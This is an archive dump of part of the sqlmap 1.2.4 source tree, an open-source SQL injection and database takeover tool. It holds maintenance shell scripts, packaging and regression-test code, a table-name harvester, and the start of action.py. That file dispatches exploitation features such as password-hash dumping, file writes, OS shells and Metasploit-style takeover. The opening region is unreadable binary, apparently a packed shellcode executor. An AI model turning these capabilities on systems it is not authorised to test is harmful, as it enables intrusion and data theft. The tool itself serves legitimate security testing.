˜Yþ¨óìà±C«ðùf¤¶ßYþ`‰æûP3üOñÞ†5áP¿—Ûö)Å åÿ3á0nŠøPVþêúùFñù½üý¶Õ©ü—j¾[¾¼<þPjþ_ñx·ö(íÏbó—¿£ØI@áùAÇõšÒ@¿òy¥þ&ÿ)áóÇ4ü¥÷Üjø³uˆø<šã+ùSlÆümñ4È(Üúdvóÿ¬àª,îcm¥réx·áÿt€ÎÎ]sqlmap-1.2.4/extra/shellcodeexec/windows/000077500000000000000000000000001326012263700204415ustar00rootroot00000000000000sqlmap-1.2.4/extra/shellcodeexec/windows/shellcodeexec.x32.exe_000066400000000000000000000053061326012263700245310ustar00rootroot00000000000000œíg$ÕõEŠó&‹ºÂê‰Ô­Y¸V6EÉT­7%ç³v´ cûFÏ®ýì½7:åªëgOÀÔÈ ^Ã};ºK­)¤<.HERšMôªÈl¨µŒ· ®Ÿ›R›{3=â9çžÏF÷Ü Î½çÜCÜ’km=Œš97’äš“ü÷–~¨Øô z±øÍ6<ûd›¸€u‘Ál¶BC`‘¬<¬*€·¶í붆\A¶¶¼¼¤%×°ú‰Ÿ²ÙCìŒÅ²dV]$:ñ¸Ž`Ï–|IH`Î…Ê!ËÚVB®ó-Üjð ¨çI»g=Úr9 êëó½ÚcVK”e3„”c_íËЙ~¬K#‹l^T˜¸ “"ïme8U!¯\Ú!Ü37“®òÃÿoä›´fë‡ÎwæPŒ­ÄŽ5€»3º>Z«¸®°)ð[p^iåwr?Åxå 1Œœ:§ëwr©üˆ#ª)ozPÑ ê ·+ßǘþ:ûs$¯²gÈ+ðV¨–¬1¢OʧŠ÷@ Ög[FòÁô:Ú/ñI…NÅ™ŒÒ‘‰2fâb‹5æá‚lÌ=ŒÉgŽA´?䀵µNÞN¯ôÎdz>X‡—1²±”Á…E LÎSTbÙ1¥×Ô¥OËQÍòcoË‚Ú;Ç>¢ôQV³“{vQN~h„w_5ùÎ]°XøA÷äXá˜õ1â›;§#±:,ßþ6-ç[õ3Öþº‚ÉømÈŠ³êK³Œ\ð>›ñûš¦R˜“@Óuå]z èÈøâåWFàAôìÆ7eË.¥#ðúÊÏá] hS1¢¶yr¤ƒ®~œ/û^ïìÅpQûY«ÐȨNþô‹ ocÒS °¾NRCX›ì(ÅåùzL§‚yͲb'tyâät_r}ZÁ2VU ¤¤ñ”8Ü\îSÈ ¯=§Îñ||ãV½îma~ åPgU‡{Iæµä’¸èz#ôS"K"„SÌçbxç,H˜×Üb·§€Sào©jWuê4ºƒzÝšz“gk¥ün¼~yÍ€†ög[Jð2ƒ$ˆÖ¡M`yü›®üå#+35¼ÎÕ©<ßyðÌkŽ5ÛßÒå~ùǨR肼9³CvLÝÃ6k*·ƒÿ±¬Bb÷49¡ ²vYÇ’7Â=!'ûÒ‰U["T…ë^{sîÊÆ’Ç%NòDû…bX²O#'h45””;’uõ0V,><Â8ÏÝzÛ†µ|ag7[ñ‚¼8Î «üFgÇ2š¥Îž¡³ÉœÄógÇ€ExaÇšT>\‘˸`®Çõ8/£úKå˜P¹gHEŠU­þmG(}^…3F¶¸z‰£õ ¾üwö–.ì—°;±q>ïÄò[:å/ D8.‘¢š>ŠîCè©`k¬Çƒ^‰ãkdlX0O¦ÄG`Ÿ$Ö´é¢f°Ì“È3c‡Ù ÑWôÅ9’šQE=¹:˜"ññ4°Ò7‡—¨&|mçoK¨]žE–|T!Çó)Œ>J*óehlÈì^z@¹.ŒAps„ô3·Q*{‡±/K<"ÞÆÕ¥AŠ{¤*œÕ,ꦥ™Øœ^ ¯­'v_Fìh𡦠Y®®ÞpÖ ­æ{a>Íê î…Ðc´ú·*›ã¡ó{ÀÖ¹•Çfat\KFt0’®Rί¿`éÕÏ=î"èÄlL¯y® bÜ2+¨!¦Ï*ºÃÿp¡LoûÕAõ÷”#yÞ•÷, ¦„Ê<GzúÆš©>NI4ƒÔ½ÿôÞ·¯K1¿‚ÿ¦4åã©Y6²OØHÁáŠH¹—í )³”á\™ÑSb(-s!€#jR¤ïÙ™ŒBÓ¸[ßòÚAм/Eþ®‹ Î#š‰Dï¥Ù¸|HGäL§‡9òíxömí8¡ÿ¢žÚVd^¿zGxO+|ß92I€u€s¨½v}aàûß|ˆ}ŒÖèE¾yßa¯~Ìürà[?i äÌ*I€í~y~ŽßpÐpÐqà{¸tàd)L®xx›·­ØÜsÙ•ïVHÆÇ{`™ÝŸ[g°ÞºF÷kåd³þÆ¢'hoÏègç¿$Îèöäùh(ñn@ù_ÿÒUò)¨-·Þœ}¿TM›(ì˜Å¸'^®«â jÆÖdÛýDïÆýž€´T] xøáo»WÈZ ÅØho[Ùlv…]ðùdÒU°a‰íáùw¹éÚË´Ûïªõ…=„øŠ;6à½ÑNM8|ðfÜÑÝ×ÚÕ/8Ù*y·XSq» œ,Äía¥°XÀ„‘L¸½FÎrF‘âî÷9¥"ÄuðP‹Ûbà|mË’}E{ ˜”®ŒÝSùi‰ðþÀ°;r{›B^–#µ]TÉ]w[Žj{=ÖJ¾ S5¿PO}÷x¢'bÆ 1_Þ¹¹@Htƒ2¼h†î[À£Bç ºBѨ$e‹‚Ì!Ø$ÜA 7aazHh‰cYä`…™xDq“`Ãuˆ<„§ÞbV,ª­Ð­,¼y'ûB9Om!IU¹Fpït±ÂöœC&‡!;q³îxB’w{òê¹[;=þ¨$[±pêÀB'`LêzrÃSùµ±DIJ. J·JmŽ{öºo6f_-Omëm]!){Vý¬ÔUt}Ë4â`½ÎMÜ~ìs;ý¸È³Æ)ºF»ئxÊZ°]WZ@Rì”&ÌÅuþwœlï$\MÃu÷OZoòúU$ HpÜÅ©%wäN#ÛBY5¸Xo$;°€ÅÑÍÓÔ𿊠GݦérësÖ¿þ0ÐþÏQÑA…–ûVÐ?ð8x€£`¦ã¨»~bA²è›Ûï[¤t„æõßk›C¢È†‡=Öшh›²Àß\FIìnïsx¼=;Œø¥D¡Üãnõ\õITä)ÀÏŠ-`Tˆ’ͶúÚEÛÎòm«µÉÇ9&Þx¥ŒÎ(.¤i`~¬üÎbƬ'x›pyû"ITïvä\> T¼|­"BIë7߆ں%8ÝÝ €øI¦;n¼cÔ¯[t ´áàÉ<¡€÷A ¬x5aeì÷IsÙ‡ êÙúyÖAÛÙ´íÃÖäbØ p)èÔוõD"R®–¶¶Bïíï×xŸÆü@TGË×sqlmap-1.2.4/extra/shutils/000077500000000000000000000000001326012263700156335ustar00rootroot00000000000000sqlmap-1.2.4/extra/shutils/blanks.sh000077500000000000000000000003761326012263700174520ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; sqlmap-1.2.4/extra/shutils/duplicates.py000077500000000000000000000012451326012263700203470ustar00rootroot00000000000000#!/usr/bin/env python # Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files import sys if len(sys.argv) > 0: items = list() with open(sys.argv[1], 'r') as f: for item in f.readlines(): item = item.strip() try: str.encode(item) if item in items: if item: print item else: items.append(item) except: pass with open(sys.argv[1], 'w+') as f: f.writelines("\n".join(items)) sqlmap-1.2.4/extra/shutils/pep8.sh000077500000000000000000000004301326012263700170430ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pep8 on all python files (prerequisite: apt-get install pep8) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \; sqlmap-1.2.4/extra/shutils/postcommit-hook.sh000077500000000000000000000013031326012263700213230ustar00rootroot00000000000000#!/bin/bash SETTINGS="../../lib/core/settings.py" declare -x SCRIPTPATH="${0}" FULLPATH=${SCRIPTPATH%/*}/$SETTINGS if [ -f $FULLPATH ] then LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"') declare -a LINE NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") if [ -n "$NEW_TAG" ] then #git commit -am "Automatic monthly tagging" echo "Creating new tag ${NEW_TAG}" git tag $NEW_TAG git push origin $NEW_TAG echo "Going to push PyPI package" /bin/bash ${SCRIPTPATH%/*}/pypi.sh fi fi sqlmap-1.2.4/extra/shutils/precommit-hook.sh000077500000000000000000000025431326012263700211330ustar00rootroot00000000000000#!/bin/bash PROJECT="../../" SETTINGS="../../lib/core/settings.py" CHECKSUM="../../txt/checksum.md5" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" else echo "Something went wrong in VERSION increment" exit 1 fi git add "$SETTINGS_FULLPATH" fi truncate -s 0 "$CHECKSUM_FULLPATH" cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done sqlmap-1.2.4/extra/shutils/pydiatra.sh000077500000000000000000000004701326012263700200100ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py2diatra on all python files (prerequisite: pip install pydiatra) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except sqlmap-1.2.4/extra/shutils/pyflakes.sh000077500000000000000000000004441326012263700200120ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; sqlmap-1.2.4/extra/shutils/pylint.py000077500000000000000000000026241326012263700175330ustar00rootroot00000000000000#! /usr/bin/env python # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html import os import re import sys total = 0.0 count = 0 __RATING__ = False def check(module): global total, count if module[-3:] == ".py": print "CHECKING ", module pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') for line in pout: if re.match(r"\AE:", line): print line.strip() if __RATING__ and "Your code has been rated at" in line: print line score = re.findall(r"\d.\d\d", line)[0] total += float(score) count += 1 if __name__ == "__main__": try: print sys.argv BASE_DIRECTORY = sys.argv[1] except IndexError: print "no directory specified, defaulting to current working directory" BASE_DIRECTORY = os.getcwd() print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue for name in files: filepath = os.path.join(root, name) check(filepath) if __RATING__: print "==" * 50 print "%d modules found" % count print "AVERAGE SCORE = %.02f" % (total / count) sqlmap-1.2.4/extra/shutils/pypi.sh000077500000000000000000000133351326012263700171600ustar00rootroot00000000000000#!/bin/bash if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" exit 1 fi declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip TMP_DIR=/tmp/pypi mkdir $TMP_DIR cd $TMP_DIR cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from setuptools import setup, find_packages setup( name='sqlmap', version='$VERSION', description="Automatic SQL injection and database takeover tool", author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', url='https://sqlmap.org', download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', packages=find_packages(), include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Environment :: Console', 'Topic :: Database', 'Topic :: Security', ], entry_points={ 'console_scripts': [ 'sqlmap = sqlmap.sqlmap:main', ], }, ) EOF wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip unzip sqlmap.zip rm sqlmap.zip mv "sqlmap-$VERSION" sqlmap cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import sys sys.dont_write_bytecode = True sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) EOF cat > README.rst << "EOF" sqlmap ====== |Build Status| |Python 2.6|2.7| |License| |Twitter| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ----------- .. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png :alt: Screenshot You can visit the `collection of screenshots `__ demonstrating some of features on the wiki. Installation ------------ You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: :: pip install --upgrade sqlmap Alternatively, you can download the latest tarball by clicking `here `__ or latest zipball by clicking `here `__. If you prefer fetching daily updates, you can download sqlmap by cloning the `Git `__ repository: :: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with `Python `__ version **2.6.x** and **2.7.x** on any platform. Usage ----- To get a list of basic options and switches use: :: python sqlmap.py -h To get a list of all options and switches use: :: python sqlmap.py -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the `user's manual `__. Links ----- - Homepage: http://sqlmap.org - Download: `.tar.gz `__ or `.zip `__ - Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom - Issue tracker: https://github.com/sqlmapproject/sqlmap/issues - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ - Twitter: [@sqlmap](https://twitter.com/sqlmap) - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots .. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master :target: https://api.travis-ci.org/sqlmapproject/sqlmap .. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE .. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg :target: https://twitter.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5 for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done python setup.py sdist upload rm -rf $TMP_DIRsqlmap-1.2.4/extra/shutils/regressiontest.py000077500000000000000000000126111326012263700212710ustar00rootroot00000000000000#!/usr/bin/env python # Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission import codecs import inspect import os import re import smtplib import subprocess import sys import time import traceback from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe())))) from lib.core.revision import getRevisionNumber START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) SQLMAP_HOME = "/opt/sqlmap" SMTP_SERVER = "127.0.0.1" SMTP_PORT = 25 SMTP_TIMEOUT = 30 FROM = "regressiontest@sqlmap.org" #TO = "dev@sqlmap.org" TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber()) TARGET = "debian" def prepare_email(content): global FROM global TO global SUBJECT msg = MIMEMultipart() msg["Subject"] = SUBJECT msg["From"] = FROM msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO) msg.attach(MIMEText(content)) return msg def send_email(msg): global SMTP_SERVER global SMTP_PORT global SMTP_TIMEOUT try: s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT) s.sendmail(FROM, TO, msg.as_string()) s.quit() # Catch all for SMTP exceptions except smtplib.SMTPException, e: print "Failure to send email: %s" % str(e) def failure_email(msg): msg = prepare_email(msg) send_email(msg) sys.exit(1) def main(): global SUBJECT content = "" test_counts = [] attachments = {} updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = updateproc.communicate() if stderr: failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) stdout, stderr = regressionproc.communicate() if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) for failed_test in failed_tests: title = failed_test[0] test_count = int(failed_test[1]) parse = failed_test[3] if failed_test[3] else None output_folder = failed_test[4] traceback = False if failed_test[5] == "False" else bool(failed_test[5]) detected = False if failed_test[6] else True test_counts.append(test_count) console_output_file = os.path.join(output_folder, "console_output") log_file = os.path.join(output_folder, TARGET, "log") traceback_file = os.path.join(output_folder, "traceback") if os.path.exists(console_output_file): console_output_fd = codecs.open(console_output_file, "rb", "utf8") console_output = console_output_fd.read() console_output_fd.close() attachments[test_count] = str(console_output) if os.path.exists(log_file): log_fd = codecs.open(log_file, "rb", "utf8") log = log_fd.read() log_fd.close() if os.path.exists(traceback_file): traceback_fd = codecs.open(traceback_file, "rb", "utf8") traceback = traceback_fd.read() traceback_fd.close() content += "Failed test case '%s' (#%d)" % (title, test_count) if parse: content += " at parsing: %s:\n\n" % parse content += "### Log file:\n\n" content += "%s\n\n" % log elif not detected: content += " - SQL injection not detected\n\n" else: content += "\n\n" if traceback: content += "### Traceback:\n\n" content += "%s\n\n" % str(traceback) content += "#######################################################################\n\n" end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) if content: content += end_string SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts)) msg = prepare_email(content) for test_count, attachment in attachments.items(): attachment = MIMEText(attachment) attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) msg.attach(attachment) send_email(msg) else: SUBJECT = "Successful %s" % SUBJECT msg = prepare_email("All test cases were successful\n\n%s" % end_string) send_email(msg) if __name__ == "__main__": log_fd = open("/tmp/sqlmapregressiontest.log", "wb") log_fd.write("Regression test started at %s\n" % START_TIME) try: main() except Exception, e: log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) log_fd.close() sqlmap-1.2.4/extra/shutils/strip.sh000077500000000000000000000013151326012263700173330ustar00rootroot00000000000000#!/bin/bash # References: http://www.thegeekstuff.com/2012/09/strip-command-examples/ # http://www.muppetlabs.com/~breadbox/software/elfkickers.html # https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html # For example: # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so # python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so # rm lib_postgresqludf_sys.so strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $* sstrip $* sqlmap-1.2.4/extra/sqlharvest/000077500000000000000000000000001326012263700163345ustar00rootroot00000000000000sqlmap-1.2.4/extra/sqlharvest/__init__.py000066400000000000000000000002221326012263700204410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/sqlharvest/sqlharvest.py000066400000000000000000000103501326012263700211010ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import cookielib import re import socket import sys import urllib import urllib2 import ConfigParser from operator import itemgetter TIMEOUT = 10 CONFIG_FILE = 'sqlharvest.cfg' TABLES_FILE = 'tables.txt' USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it QUERY = 'CREATE TABLE ext:sql' REGEX_URLS = r';u=([^"]+?)&q=' REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P[^\(;]+)' def main(): tables = dict() cookies = cookielib.CookieJar() cookie_processor = urllib2.HTTPCookieProcessor(cookies) opener = urllib2.build_opener(cookie_processor) opener.addheaders = [("User-Agent", USER_AGENT)] conn = opener.open(SEARCH_URL) page = conn.read() # set initial cookie values config = ConfigParser.ConfigParser() config.read(CONFIG_FILE) if not config.has_section("options"): config.add_section("options") if not config.has_option("options", "index"): config.set("options", "index", "0") i = int(config.get("options", "index")) try: with open(TABLES_FILE, 'r') as f: for line in f.xreadlines(): if len(line) > 0 and ',' in line: temp = line.split(',') tables[temp[0]] = int(temp[1]) except: pass socket.setdefaulttimeout(TIMEOUT) files, old_files = None, None try: while True: abort = False old_files = files files = [] try: conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10)) page = conn.read() for match in re.finditer(REGEX_URLS, page): files.append(urllib.unquote(match.group(1))) if len(files) >= 10: break abort = (files == old_files) except KeyboardInterrupt: raise except Exception, msg: print msg if abort: break sys.stdout.write("\n---------------\n") sys.stdout.write("Result page #%d\n" % (i + 1)) sys.stdout.write("---------------\n") for sqlfile in files: print sqlfile try: req = urllib2.Request(sqlfile) response = urllib2.urlopen(req) if "Content-Length" in response.headers: if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE: continue page = response.read() found = False counter = 0 for match in re.finditer(REGEX_RESULT, page): counter += 1 table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]') if table and not any(_ in table for _ in ('>', '<', '--', ' ')): found = True sys.stdout.write('*') if table in tables: tables[table] += 1 else: tables[table] = 1 if found: sys.stdout.write("\n") except KeyboardInterrupt: raise except Exception, msg: print msg else: i += 1 except KeyboardInterrupt: pass finally: with open(TABLES_FILE, 'w+') as f: tables = sorted(tables.items(), key=itemgetter(1), reverse=True) for table, count in tables: f.write("%s,%d\n" % (table, count)) config.set("options", "index", str(i + 1)) with open(CONFIG_FILE, 'w+') as f: config.write(f) if __name__ == "__main__": main() sqlmap-1.2.4/lib/000077500000000000000000000000001326012263700135635ustar00rootroot00000000000000sqlmap-1.2.4/lib/__init__.py000066400000000000000000000002221326012263700156700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/lib/controller/000077500000000000000000000000001326012263700157465ustar00rootroot00000000000000sqlmap-1.2.4/lib/controller/__init__.py000066400000000000000000000002221326012263700200530ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/lib/controller/action.py000066400000000000000000000124571326012263700176060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS from lib.utils.brute import columnExists from lib.utils.brute import tableExists def action(): """ This function exploit the SQL injection on the affected URL parameter and extract requested data from the back-end database management system or operating system if possible """ # First of all we have to identify the back-end database management # system to be able to go ahead with the injection setHandler() if not Backend.getDbms() or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " errMsg += "back-end database management system" if htmlParsed: errMsg += ", but from the HTML error page it was " errMsg += "possible to determinate that the " errMsg += "back-end DBMS is %s" % htmlParsed if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS: errMsg += ". Do not specify the back-end DBMS manually, " errMsg += "sqlmap will fingerprint the DBMS for you" elif kb.nullConnection: errMsg += ". You can try to rerun without using optimization " errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection") raise SqlmapUnsupportedDBMSException(errMsg) conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) # Enumeration options if conf.getBanner: conf.dumper.banner(conf.dbmsHandler.getBanner()) if conf.getCurrentUser: conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser()) if conf.getCurrentDb: conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb()) if conf.getHostname: conf.dumper.hostname(conf.dbmsHandler.getHostname()) if conf.isDba: conf.dumper.dba(conf.dbmsHandler.isDba()) if conf.getUsers: conf.dumper.users(conf.dbmsHandler.getUsers()) if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getPrivileges: try: conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getRoles: try: conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getDbs: conf.dumper.dbs(conf.dbmsHandler.getDbs()) if conf.getTables: conf.dumper.dbTables(conf.dbmsHandler.getTables()) if conf.commonTables: conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) if conf.getSchema: conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) if conf.getColumns: conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) if conf.getCount: conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) if conf.commonColumns: conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) if conf.dumpTable: conf.dbmsHandler.dumpTable() if conf.dumpAll: conf.dbmsHandler.dumpAll() if conf.search: conf.dbmsHandler.search() if conf.query: conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) if conf.sqlShell: conf.dbmsHandler.sqlShell() if conf.sqlFile: conf.dbmsHandler.sqlFile() # User-defined function options if conf.udfInject: conf.dbmsHandler.udfInjectCustom() # File system options if conf.rFile: conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile)) if conf.wFile: conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) # Operating system options if conf.osCmd: conf.dbmsHandler.osCmd() if conf.osShell: conf.dbmsHandler.osShell() if conf.osPwn: conf.dbmsHandler.osPwn() if conf.osSmb: conf.dbmsHandler.osSmb() if conf.osBof: 